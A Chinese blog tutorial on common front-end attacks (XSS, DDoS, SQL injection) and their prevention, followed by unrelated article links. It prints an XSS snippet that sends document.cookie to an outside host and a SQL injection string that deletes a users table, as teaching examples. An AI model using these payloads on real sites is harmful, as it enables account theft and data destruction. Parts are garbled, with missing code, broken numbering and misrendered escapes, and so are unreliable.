首页 > 其他分享 >前端攻击手段有哪些该如何预防?

前端攻击手段有哪些该如何预防?

时间:2022-10-13 21:12:20浏览次数:50  
标签:语句 users 哪些 前端 用户 SQL 预防 特殊字符 页面

  1. XSS
    Cross Site Scripting 跨站点脚本攻击。它的特点是尽一起办法在目标网站上执行非目标网站上原有的脚本。

手段:黑客将 JS 代码插入到网页内容中,渲染时执行 JS 代码。
预防:特殊字符替换。
在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。确保将特殊字符进行转换。

如下例子:

let img = document.createElement("image");
img.src = 'https://host/api?cookie' + document.cookie;
img 元素一旦附上 src 属性就会发送 HTTP 请求,这时候就把本网站的 Cookie 传到了黑客自己的服务器了,就可以控制用户在被攻击网站上的账号权限了。

预防就是将特殊符号替换,比如将 > 替换成 >,< 替换成 < ,这样

上面代码首先设置了整个页面不可见,随后检测页面是否被内嵌。如果没有被内嵌,则移除设置页面不可见的样式,否则把顶层页面的地址设置为内嵌页面的地址,从而阻止了页面的内嵌。

  1. DDos
    Distribute denial-of-service 分布式拒绝服务。

手段:分布式、大规模的流量访问,使服务器瘫痪。
预防:软件层不好做,需要硬件预防。
比如黑客散播了一个病毒程序,植入很多人的手机,使这些人的手机同时去访问某一网站,致使服务瘫痪。

可以通过硬件手段,比如使用阿里云的 WAF(web application firewall),用于防注入和控制机器人流量。

  1. SQL 注入
    手段:黑客提交内容时写入 SQL 语句,破环数据库。
    预防:避免传输特殊字符,处理特殊字符,替换特殊字符。
    SQL 注入虽然是后端处理的安全问题,但是问题出自前端,是因为用户输入了特殊字符,和前端也有关系。

5.1. 避免传输特殊字符
用户输入给了攻击者可乘之机,在输入的时候添加必要的校验和过滤即可。具体就是针对用户输入进行 HTML 编码、HTML 标签属性编码、JavaScript 编码、URL 编码。比如使用函数 encodeURL 对 RRL 编码。

5.2. 替换特殊字符
比如 SQL 语句,用于查询一个用户:

select * from users where username='zhangsan' and pword='123'

假设前端提交的用户名不是正常的字符,而是 SQL 语句,比如:

'; delete from users; --

则上面的查询语句变为:

select * from users where username=''; delete from users; --' and pword='123'

这就变成了三条 SQL 语句,第一条查询所有用户名为空的用户,第二条删除 users 表,第三条后面的语句被注释了。

将上面单引号删掉,-- 删掉,就变成:select * from users where username='; delete from users; ' and pword='123',查询的用户名是:; delete from users; 虽然查不到这样的用户,但不会有安全问题。

标签:语句,users,哪些,前端,用户,SQL,预防,特殊字符,页面
From: https://www.cnblogs.com/guojiabing/p/16789697.html

相关文章

  • 什么是SEO,企业做SEO优化有哪些好处
    提到SEO,很多人可能都知道是搜索引擎优化。在互联网的不断发展下,SEO已经不仅仅局限于常见的搜索引擎平台了,因为有搜索的地方就可以有SEO的存在。下面,本篇文章将介绍什么是SE......
  • 常见的网络安全风险有哪些?
    勒索软件勒索软件(Ransomware,又称勒索病毒)是一种恶意软件,它的工作方式基本与计算机病毒类似,不过跟一般的计算机病毒不同,它们不会直接地破坏数据,而是将数据进行加密锁定,然后......
  • 【行业进展】哪些公司在搞“新零售”了
    李毅吉林大学大三今天开始公众号开辟一个新版块,【行业进展】,会给大家讲一些行业的发展,择业有关的,一周不超过一篇与传统的便利店不同,无人超市可通过刷脸或扫描等便捷方式进店......
  • 武汉星起航跨境电商是真的吗?亚马逊有哪些优势?
    随着亚马逊在国内的呼声越来越高,很多没做过跨境电商的朋友也想参与到亚马逊开店之中,但是对于亚马逊具体的优势是什么,还是不是了解的很清楚,今天星起航跟大家分享一下,亚马逊到......
  • 基于SqlSugar的开发框架循序渐进介绍(15)-- 整合代码生成工具进行前端界面的生成
    在前面随笔《基于SqlSugar的开发框架循序渐进介绍(12)--拆分页面模块内容为组件,实现分而治之的处理》中我们已经介绍过,对于相关的业务表的界面代码,我们已经尽可能把不同的业......
  • 学生在线前端第二次培训
    css之盒模型概览html对每个容器进行了定义。这些容器之间的排版是由css来定义的。一个容器包含Margin,Border,Padding,Content四个部分。content指的是你的真正的内容......
  • 前端程序员各个阶段规划以及提升
    校招阶段:选择方向:选择方向:建议在大三第一个学期的时候就需要选择好方向,是选择就业还是考研,就业选择技术类方向,还是开发类,需要明确方向,有充足的准备,找工作的时候才不......
  • 前端Vue2-Day49
    Vue.set方法和vm.$set方法:参数(实例对象的某一属性名,属性名,属性值)用于给实例化Vue对象的某一个属性对象动态添加子属性。不允许直接给实例化对象添加属性。即参数第一项不......
  • #yyds干货盘点# 前端歌谣的刷题之路-第一百一十四题-修改this指向
     前言我是歌谣我有个兄弟巅峰的时候排名c站总榜19叫前端小歌谣曾经我花了三年的时间创作了他现在我要用五年的时间超越他今天又是接近兄弟的一天人生难免坎坷大不了......
  • #yyds干货盘点# 前端歌谣的刷题之路-第一百一十五题-根据包名 在指定空间中创建对象
     前言我是歌谣我有个兄弟巅峰的时候排名c站总榜19叫前端小歌谣曾经我花了三年的时间创作了他现在我要用五年的时间超越他今天又是接近兄弟的一天人生难免坎坷大不了......